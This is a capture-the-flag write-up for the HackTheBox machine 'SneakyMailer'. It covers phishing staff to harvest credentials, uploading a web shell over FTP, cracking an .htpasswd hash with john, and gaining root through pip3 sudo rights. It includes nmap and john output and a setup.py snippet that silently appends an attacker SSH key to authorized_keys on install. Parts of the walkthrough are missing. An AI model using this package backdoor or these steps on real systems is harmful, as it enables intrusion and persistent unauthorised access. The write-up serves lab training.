SneakyMailer, was a medium difficulty linux box created by Hackthebox user, sulcud. The box was all about creating a mail list from the emails found on the website. and using swaks to send phishing mail to all the employees and getting a hit back with one user email credentials. login to email we find credential for dev ftp. using that we can upload a shell and visit that on dev subdomain and we get a shell back. after getting the shell we can reuse the ftp credential for user developer we can switch to developer user. also in pypi webroot we find a .htaccess and we can crack the password for the hash.visiting the site we see that is a python registry so we create a custom package and upload to get a shell as low.Checking sudo -l we see we can run pip3 without password so using GTFOBINs we can get root.
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-29 16:59 IST Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 4.25% done; ETC: 17:00 (0:00:45 remaining) Nmap scan report for 10.10.10.197 Host is up (0.12s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA) | 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA) |_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519) 25/tcp open smtp Postfix smtpd |_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 80/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-title: Did not follow redirect to http://sneakycorp.htb 143/tcp open imap Courier Imapd (released 2018) |_imap-capabilities: UIDPLUS QUOTA IMAP4rev1 CAPABILITY STARTTLS ACL2=UNION ENABLE SORT THREAD=REFERENCES NAMESPACE IDLE CHILDREN OK completed THREAD=ORDEREDSUBJECT UTF8=ACCEPTA0001 ACL | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Subject Alternative Name: email:postmaster@example.com | Not valid before: 2020-05-14T17:14:21 |_Not valid after: 2021-05-14T17:14:21 |_ssl-date: TLS randomness does not represent time 993/tcp open ssl/imap Courier Imapd (released 2018) |_imap-capabilities: UIDPLUS QUOTA IMAP4rev1 CAPABILITY ACL2=UNION ENABLE SORT AUTH=PLAIN THREAD=REFERENCES NAMESPACE IDLE CHILDREN OK completed THREAD=ORDEREDSUBJECT UTF8=ACCEPTA0001 ACL | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Subject Alternative Name: email:postmaster@example.com | Not valid before: 2020-05-14T17:14:21 |_Not valid after: 2021-05-14T17:14:21 |_ssl-date: TLS randomness does not represent time 8080/tcp open http nginx 1.14.2 |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: nginx/1.14.2 |_http-title: Welcome to nginx! Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 121.77 seconds
We got so many ports open lets start with port 80.
Web Port 80
In the nmap result we see as http-title: Did not follow redirect to http://sneakycorp.htb so lets add http://sneakycorp.htb in /etc/hosts and see the web
sneakycorp.htb
As we have a custom domain lets also enumerate for custom subdomain. While we poke at the website.
Team page of the site show us few emails
So I got all the emails from the webpage and made an email list.
login on ftp using developer credentials we see we can upload file to that. I tested that by uploading a test.txt and visiting
Shell (www-data)
doing ls
looking in pypi folder we find an .htpasswd
and cracking the hash using john
1 2 3 4 5 6 7 8 9 10 11
john --wordlist=/usr/share/wordlists/rockyou.txt htpasswd Warning: detected hashtype"md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 SSE2 4x3]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status soufianeelhaoui (pypi) 1g 0:00:00:42 DONE (2020-08-29 23:02) 0.02331g/s 83335p/s 83335c/s 83335C/s souheib2..souderton16 Use the "--show" option to display all of the cracked passwords reliably Session completed
we get the password as soufianeelhaoui
Also trying username developer with the password we found for ftp we can get a shell as developer
Developer
Web Pypi(8080)
Seeing it is a pypi registry let us create a python package and try to upload that to the server. Creating and uploading a package using
try: withopen("/home/low/.ssh/authorized_keys", "a") as f: f.write("\nssh-rsa <public key> ") f.close() except Exception as e: pass
setuptools.setup( name="example-pkg-YOUR-USERNAME-HERE", # Replace with your own username version="0.0.1", author="Example Author", author_email="author@example.com", description="A small example package", long_description="long", long_description_content_type="text/markdown", url="https://github.com/pypa/sampleproject", packages=setuptools.find_packages(), classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", ], python_requires='>=3.6', )
And using setup.py sdist we can upload to the server